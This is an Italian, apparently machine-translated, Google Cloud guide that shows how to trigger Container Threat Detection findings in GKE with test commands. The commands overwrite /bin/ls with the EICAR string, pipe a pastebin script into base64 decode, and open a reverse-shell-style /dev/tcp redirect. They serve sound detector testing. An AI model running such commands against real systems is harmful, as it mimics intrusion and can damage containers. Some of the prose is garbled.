Questa pagina spiega come verificare che Container Threat Detection funzioni intenzionalmente attivare rilevatori e verificare i risultati. Container Threat Detection è un servizio integrato dei livelli Premium ed Enterprise di Security Command Center. Per visualizzare Container Threat Detection risultati, deve essere abilitato nelle impostazioni dei servizi di Security Command Center.
Prima di iniziare
Per rilevare potenziali minacce ai container, devi assicurarti che i cluster si trovano su una versione supportata di Google Kubernetes Engine (GKE). Per Per ulteriori informazioni, consulta la sezione sull'utilizzo di una versione GKE supportata.
Imposta le variabili di ambiente
Per testare i rilevatori, usa la console Google Cloud e Cloud Shell. Puoi impostare variabili di ambiente in Cloud Shell per semplificare l'esecuzione tramite comandi SQL. Le seguenti variabili vengono utilizzate per testare tutti i servizi di Container Threat Detection rilevatori.
Vai alla console Google Cloud.
Seleziona il progetto che contiene il container che vuoi utilizzare per il test.
Fai clic su Attiva Cloud Shell.
In Cloud Shell, imposta le variabili di ambiente.
La zona in cui si trova il cluster:
export ZONE=CLUSTER_ZONE
Il progetto in cui si trova il container:
export PROJECT=PROJECT_ID
Il nome del tuo cluster:
export CLUSTER_NAME=CLUSTER_NAME
Le variabili sono impostate. Le seguenti sezioni includono istruzioni per i test Rilevatori di Container Threat Detection.
Programma binario aggiuntivo eseguito
Per attivare un risultato aggiunto Binary Run, trascina un file binario nel container e
eseguirlo. In questo esempio viene eseguito il deployment dell'ultima immagine Ubuntu 18.04, copia /bin/ls
in un'altra posizione e poi la esegue. L'esecuzione del programma binario è imprevista
perché la copia del file binario non faceva parte dell'immagine container originale,
se l'immagine è su Ubuntu 18.04 e i container devono essere immutabili.
Usa Cloud Shell per accedere al piano di controllo del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Rilascia un programma binario ed eseguilo:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
Questa procedura di test dovrebbe creare un risultato Binary Eseguito aggiunto che puoi in Security Command Center e in Cloud Logging, se hai configurato Logging per Container Threat Detection. Visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi la versione Premium o Enterprise livello di Security Command Center.
Per ridurre il rumore, quando crei un container, Container Threat Detection
filtra temporaneamente i risultati binari aggiunti aggiunti. Per visualizzare tutti i file binari aggiunti
Risultati eseguiti durante la configurazione di un container, prefisso al nome del container
o il nome del pod con ktd-test
, come nell'esempio.
Libreria aggiuntiva caricata
Per attivare un risultato con Libreria aggiunta caricata, trascina una libreria nel contenitore e
e poi caricarlo. Questo esempio esegue il deployment dell'ultima immagine Ubuntu 18.04, copia
/lib/x86_64-linux-gnu/libc.so.6
in un'altra posizione e poi lo carica utilizzando
ld
. La libreria caricata non è prevista perché la copia della libreria non è stata
parte dell'immagine container originale, anche se si trova su Ubuntu 18.04, e
i container sono pensati per essere immutabili.
Usa Cloud Shell per accedere al piano di controllo del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Rilascia una raccolta e utilizza
ld
per caricarla:tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
Questa procedura di test dovrebbe creare un risultato con caricamento della libreria aggiunta che puoi in Security Command Center e in Cloud Logging, se hai configurato Logging per Container Threat Detection. Visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi la versione Premium o Enterprise di Security Command Center a livello di organizzazione.
Per ridurre il rumore, quando crei un container, Container Threat Detection
filtra temporaneamente i risultati aggiunti nella libreria caricata. Per visualizzare tutte le raccolte aggiunte
Risultati caricati durante la configurazione di un container, aggiungi il prefisso al nome del container
o il nome del pod con ktd-test
, come nell'esempio.
Esecuzione: esecuzione di elementi binari dannosi aggiunta
Per attivare un'esecuzione: aggiunto risultato binario dannoso eseguito, rilascia un binario dannoso nel tuo container ed eseguirlo. Questo esempio esegue il deployment Ubuntu 18.04, crea un file dannoso simulato e lo esegue. L'esecuzione del programma binario è inaspettato perché il file binario dannoso simulato non faceva parte del container originale, mentre il file binario è un EICAR di test, un file classificato come dannoso dalla threat intelligence.
Usa Cloud Shell per accedere al piano di controllo del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Elimina il file binario EICAR ed eseguilo:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; ./tmp/test_mal_file; sleep 10"
Questa procedura di test dovrebbe creare un'esecuzione: esecuzione di un file binario dannoso aggiunto che è possibile visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. Visualizzazione i risultati in Cloud Logging sono disponibili solo se attivi al livello Premium o Enterprise di Security Command Center.
Per ridurre il rumore, quando crei un container, Container Threat Detection
filtra temporaneamente Esecuzione: aggiunti risultati binari dannosi eseguiti. Per vedere
tutti i tipi di esecuzione: aggiunti risultati binari dannosi eseguiti mentre un container
in fase di configurazione, anteponi ktd-test
al nome del container o del pod, come
esempio.
Esecuzione: esecuzione di un file binario dannoso modificato
Per attivare un risultato di esecuzione: esecuzione di un file binario dannoso modificato, modifica un
binario dannoso nel tuo container ed eseguirlo. Questo esempio esegue il deployment
Ubuntu 18.04 più recente, modifica /bin/ls
in un file dannoso simulato, quindi lo esegue.
L'esecuzione del programma binario è imprevista perché /bin/ls
viene modificato durante il runtime del container
un file binario dannoso simulato, che è un EICAR
di test, un file classificato come dannoso dalla threat intelligence.
un EICAR
il file dannoso e quindi lo esegue. L'esecuzione del programma binario è
imprevisto perché l'elemento /bin/ls
creato viene modificato durante il runtime del container
un EICAR che testa un file binario dannoso, mentre il file binario EICAR è un file dannoso noto
in base alle informazioni sulle minacce.
Usa Cloud Shell per accedere al piano di controllo del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Elimina il file binario EICAR ed eseguilo:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
Questa procedura di test dovrebbe creare un risultato di Esecuzione: esecuzione: binario dannoso modificato eseguito che puoi in Security Command Center e in Cloud Logging, se hai configurato Logging per Container Threat Detection. Visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi la versione Premium o Enterprise livello di Security Command Center.
Per ridurre il rumore, quando crei un container, Container Threat Detection
filtra temporaneamente l'esecuzione: risultati binari dannosi modificati eseguiti. Per vedere
tutti i risultati di esecuzione: risultati binari modificati ed eseguiti mentre un container
in fase di configurazione, anteponi ktd-test
al nome del container o del pod, come
esempio.
Script dannoso eseguito
Per attivare un risultato Eseguito script dannosi, puoi eseguire lo script nella seguente procedura nel tuo container.
La procedura esegue il deployment dell'ultima immagine Ubuntu 18.04, copia uno script sembra dannoso e lo esegue. Per attivare un rilevamento, lo script deve apparire dannoso per il rilevatore.
Usa Cloud Shell per accedere al piano di controllo del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Esegui lo script seguente in un nuovo container.
Questo script shell bash incorporato ha avuto origine da un honeypot. Tuttavia, è stato modificato in modo da non eseguire il programma binario dannoso, pertanto l'esecuzione dello script non causi attività dannose nel container. Il file binario all'URL a cui viene fatto riferimento potrebbe essere stato rimosso e tentando di per seguire l'URL, comporterà un errore 404. È previsto. Il tentativo di scaricare, decodificare ed eseguire un programma binario utilizzando un lo script incorporato è l'elemento che attiva il rilevamento.
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest "$tag" \ -- bash -c "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
Questa procedura di test crea un risultato di script dannosi eseguito che possono essere visualizzati in Security Command Center e Cloud Logging, se hai configurato logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi Premium o Enterprise livello di Security Command Center.
URL dannoso osservato
Per attivare un risultato "osservato URL dannoso", esegui un programma binario e fornisci un URL dannoso come argomento.
L'esempio seguente esegue il deployment di Ubuntu 18.04
dell'immagine ed esegue /bin/curl
per accedere a un URL di malware di esempio dal
Servizio Navigazione sicura.
Usa Cloud Shell per accedere al piano di controllo del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Esegui
curl
e fornisci un URL dannoso come argomento:tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "curl $url | cat"
Questa procedura di test attiva un risultato "URL dannoso osservato" che che puoi visualizzare in Security Command Center e, se hai configurato Logging per Container Threat Detection, in Cloud Logging. Visualizzazione i risultati in Cloud Logging sono disponibili solo se attivi Livello Premium o Enterprise di Security Command Center a livello di organizzazione.
Shell inversa
Per attivare un risultato della shell inversa, avvia un programma binario con il reindirizzamento stdin
a un
socket connesso TCP. Questo esempio avvia /bin/echo
con il reindirizzamento alla
DNS pubblico di Google
8.8.8.8
sulla porta DNS. Non viene stampato nulla quando esegui questo esempio. A
Impedire l'inserimento di codice esterno tramite un attacco man in the middle (MITM),
in questo esempio non utilizza /bin/bash binary
.
Usa Cloud Shell per accedere al piano di controllo del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Avvia un programma binario con il reindirizzamento
/bin/echo
al DNS pubblico di Google:tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "/bin/echo >& /dev/tcp/8.8.8.8/53 0>&1"
Questa procedura di test crea un risultato della shell inversa che puoi visualizzare Security Command Center e in Cloud Logging, se hai configurato Logging per Container Threat Detection. Visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi Livello Premium o Enterprise di Security Command Center a livello di organizzazione.
Shell figlio imprevista
Per testare il rilevatore Unexpected Child Shell
, puoi creare un albero dei processi che includa un processo shell figlio.
L'esempio seguente crea un albero dei processi consul->dash
, che può essere rilevato dal rilevatore Unexpected Child Shell
. Questo test è sicuro perché utilizza solo file binari integrati. In questo esempio si verifica quanto segue:
- Crea una copia del processo
bash
e la assegnaconsul
. - Copia il processo
echo
e lo nominadash
. - Richiama il processo
dash
copiato nel processoconsul
copiato.
Per attivare un risultato Unexpected Child Shell
, segui questi passaggi:
Usa Cloud Shell per accedere al piano di controllo del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Usa il processo
consul
fittizio per richiamare una shell fittizia:tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -ti \ --image ubuntu "$tag" --command \ -- /bin/sh -c 'cp /bin/bash /tmp/consul; cp /bin/echo /tmp/bash; \ /tmp/consul -c "/tmp/bash child ran successfully & wait"'
Questa procedura di test crea un risultato Unexpected Child Shell
che puoi
in Security Command Center. Se Logging è configurato per Container Threat Detection e hai attivato Security Command Center Premium o Enterprise a livello di organizzazione, puoi visualizzare
anche in Cloud Logging.
Passaggi successivi
- Scopri come utilizzare Container Threat Detection.